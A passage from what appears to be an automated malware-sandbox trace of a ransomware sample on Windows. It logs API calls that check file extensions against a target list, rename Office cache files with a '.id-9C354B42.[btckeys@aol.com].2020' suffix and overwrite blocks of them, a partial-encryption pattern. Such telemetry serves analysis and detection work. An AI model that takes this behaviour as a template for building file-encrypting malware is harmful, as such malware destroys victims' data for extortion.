Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0075.578] lstrlenW (lpString=".doc") returned 4 [0075.578] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0075.578] lstrlenW (lpString=".docx") returned 5 [0075.579] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0075.579] lstrlenW (lpString=".pdf") returned 4 [0075.579] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0075.579] lstrlenW (lpString=".xls") returned 4 [0075.579] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0075.579] lstrlenW (lpString=".xlsx") returned 5 [0075.579] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0075.579] lstrlenW (lpString=".ppt") returned 4 [0075.579] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0075.579] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0075.579] lstrlenW (lpString=".zip") returned 4 [0075.579] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0075.579] lstrlenW (lpString=".rar") returned 4 [0075.579] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0075.579] lstrlenW (lpString=".bz2") returned 4 [0075.579] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0075.579] lstrlenW (lpString=".7z") returned 3 [0075.579] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0075.579] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0075.579] lstrlenW (lpString=".dbf") returned 4 [0075.579] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0075.579] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0075.579] lstrlenW (lpString=".1cd") returned 4 [0075.579] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0075.579] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0075.579] lstrlenW (lpString=".jpg") returned 4 [0075.579] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0075.580] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0075.580] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0075.580] lstrlenW (lpString=".doc") returned 4 [0075.580] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0075.580] lstrlenW (lpString=".docx") returned 5 [0075.580] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0075.580] lstrlenW (lpString=".pdf") returned 4 [0075.580] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0075.580] lstrlenW (lpString=".xls") returned 4 [0075.580] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0075.580] lstrlenW (lpString=".xlsx") returned 5 [0075.580] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0075.580] lstrlenW (lpString=".ppt") returned 4 [0075.580] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0075.580] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0075.580] lstrlenW (lpString=".zip") returned 4 [0075.580] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0075.580] lstrlenW (lpString=".rar") returned 4 [0075.580] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0075.580] lstrlenW (lpString=".bz2") returned 4 [0075.580] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0075.580] lstrlenW (lpString=".7z") returned 3 [0075.580] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0075.580] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0075.580] lstrlenW (lpString=".dbf") returned 4 [0075.580] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0075.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0075.581] lstrlenW (lpString=".1cd") returned 4 [0075.581] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0075.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0075.581] lstrlenW (lpString=".jpg") returned 4 [0075.581] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0075.581] lstrcmpiW (lpString1=".cab", lpString2=".2020") returned 1 [0075.581] lstrlenW (lpString="OnoteLR.cab") returned 11 [0075.581] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0075.582] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=17456632) returned 1 [0075.582] CloseHandle (hObject=0x200) returned 1 [0075.582] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab")) returned 0x2020 [0075.582] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0075.582] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0075.809] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0075.809] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0075.809] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0075.809] ReadFile (in: hFile=0x200, lpBuffer=0x3da0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3da0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0075.831] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0075.831] ReadFile (in: hFile=0x200, lpBuffer=0x3de0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3de0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0075.865] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0075.865] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0075.865] ReadFile (in: hFile=0x200, lpBuffer=0x3e20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3e20058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0075.964] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0075.964] WriteFile (in: hFile=0x200, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0075.977] SetEndOfFile (hFile=0x200) returned 1 [0075.977] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f54fa0 [0075.977] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0075.977] WriteFile (in: hFile=0x200, lpBuffer=0x3f54fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f54fa0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0075.978] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0075.978] WriteFile (in: hFile=0x200, lpBuffer=0x3f54fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f54fa0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0075.979] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0075.979] WriteFile (in: hFile=0x200, lpBuffer=0x3f54fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f54fa0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0075.981] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f54fa0 | out: hHeap=0x4b0000) returned 1 [0075.982] CloseHandle (hObject=0x200) returned 1 [0075.982] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0075.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0075.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0075.982] lstrlenW (lpString=".doc") returned 4 [0075.982] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0075.982] lstrlenW (lpString=".docx") returned 5 [0075.982] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0075.982] lstrlenW (lpString=".pdf") returned 4 [0075.982] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0075.982] lstrlenW (lpString=".xls") returned 4 [0075.982] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0075.982] lstrlenW (lpString=".xlsx") returned 5 [0075.982] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0075.982] lstrlenW (lpString=".ppt") returned 4 [0075.982] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0075.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0075.983] lstrlenW (lpString=".zip") returned 4 [0075.983] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0075.983] lstrlenW (lpString=".rar") returned 4 [0075.983] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0075.983] lstrlenW (lpString=".bz2") returned 4 [0075.983] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0075.983] lstrlenW (lpString=".7z") returned 3 [0075.983] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0075.983] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0075.983] lstrlenW (lpString=".dbf") returned 4 [0075.983] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0075.983] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0075.983] lstrlenW (lpString=".1cd") returned 4 [0075.983] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0075.983] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0075.983] lstrlenW (lpString=".jpg") returned 4 [0075.983] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0075.983] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0075.983] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0075.983] lstrlenW (lpString=".doc") returned 4 [0075.983] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0075.983] lstrlenW (lpString=".docx") returned 5 [0075.983] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0075.983] lstrlenW (lpString=".pdf") returned 4 [0075.983] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0075.983] lstrlenW (lpString=".xls") returned 4 [0075.983] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0075.983] lstrlenW (lpString=".xlsx") returned 5 [0075.983] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0075.983] lstrlenW (lpString=".ppt") returned 4 [0075.983] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0075.983] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0075.983] lstrlenW (lpString=".zip") returned 4 [0075.983] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0076.096] lstrlenW (lpString=".rar") returned 4 [0076.096] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0076.096] lstrlenW (lpString=".bz2") returned 4 [0076.096] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0076.096] lstrlenW (lpString=".7z") returned 3 [0076.096] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0076.096] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0076.096] lstrlenW (lpString=".dbf") returned 4 [0076.096] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0076.096] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0076.097] lstrlenW (lpString=".1cd") returned 4 [0076.097] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0076.097] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0076.097] lstrlenW (lpString=".jpg") returned 4 [0076.097] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0076.097] lstrcmpiW (lpString1=".msi", lpString2=".2020") returned 1 [0076.097] lstrlenW (lpString="GrooveMUI.msi") returned 13 [0076.097] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0076.097] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=2507776) returned 1 [0076.097] CloseHandle (hObject=0x1d8) returned 1 [0076.097] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi")) returned 0x2020 [0076.097] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0076.098] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0076.098] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0076.098] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0076.098] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0076.098] ReadFile (in: hFile=0x1d8, lpBuffer=0x3da0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3da0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0076.239] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0076.239] ReadFile (in: hFile=0x1d8, lpBuffer=0x3de0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3de0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0076.293] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0076.293] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0076.293] ReadFile (in: hFile=0x1d8, lpBuffer=0x3e20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3e20058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0076.573] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0076.573] WriteFile (in: hFile=0x1d8, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0076.586] SetEndOfFile (hFile=0x1d8) returned 1 [0076.586] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f74fa0 [0076.589] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0076.589] WriteFile (in: hFile=0x1d8, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0076.591] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0076.591] WriteFile (in: hFile=0x1d8, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0076.597] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0076.597] WriteFile (in: hFile=0x1d8, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0076.600] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f74fa0 | out: hHeap=0x4b0000) returned 1 [0076.601] CloseHandle (hObject=0x1d8) returned 1 [0076.601] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0076.601] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0076.601] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0076.601] lstrlenW (lpString=".doc") returned 4 [0076.601] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0076.601] lstrlenW (lpString=".docx") returned 5 [0076.601] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0076.601] lstrlenW (lpString=".pdf") returned 4 [0076.601] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0076.601] lstrlenW (lpString=".xls") returned 4 [0076.601] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0076.601] lstrlenW (lpString=".xlsx") returned 5 [0076.601] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0076.601] lstrlenW (lpString=".ppt") returned 4 [0076.601] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0076.601] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0076.602] lstrlenW (lpString=".zip") returned 4 [0076.602] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0076.602] lstrlenW (lpString=".rar") returned 4 [0076.602] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0076.602] lstrlenW (lpString=".bz2") returned 4 [0076.602] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0076.602] lstrlenW (lpString=".7z") returned 3 [0076.602] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0076.602] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0076.602] lstrlenW (lpString=".dbf") returned 4 [0076.602] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0076.602] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0076.602] lstrlenW (lpString=".1cd") returned 4 [0076.602] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0076.602] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0076.602] lstrlenW (lpString=".jpg") returned 4 [0076.602] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0076.602] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0076.602] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0076.602] lstrlenW (lpString=".doc") returned 4 [0076.602] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0076.602] lstrlenW (lpString=".docx") returned 5 [0076.602] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0076.602] lstrlenW (lpString=".pdf") returned 4 [0076.602] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0076.602] lstrlenW (lpString=".xls") returned 4 [0076.602] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0076.602] lstrlenW (lpString=".xlsx") returned 5 [0076.602] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0076.602] lstrlenW (lpString=".ppt") returned 4 [0076.602] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0076.602] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0076.602] lstrlenW (lpString=".zip") returned 4 [0076.603] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0076.603] lstrlenW (lpString=".rar") returned 4 [0076.603] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0076.603] lstrlenW (lpString=".bz2") returned 4 [0076.603] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0076.603] lstrlenW (lpString=".7z") returned 3 [0076.603] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0076.603] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0076.603] lstrlenW (lpString=".dbf") returned 4 [0076.603] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0076.603] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0076.603] lstrlenW (lpString=".1cd") returned 4 [0076.603] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0076.603] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0076.603] lstrlenW (lpString=".jpg") returned 4 [0076.603] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0076.603] lstrcmpiW (lpString1=".exe", lpString2=".2020") returned 1 [0076.603] lstrlenW (lpString="dwtrig20.exe") returned 12 [0076.603] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0x80000000, 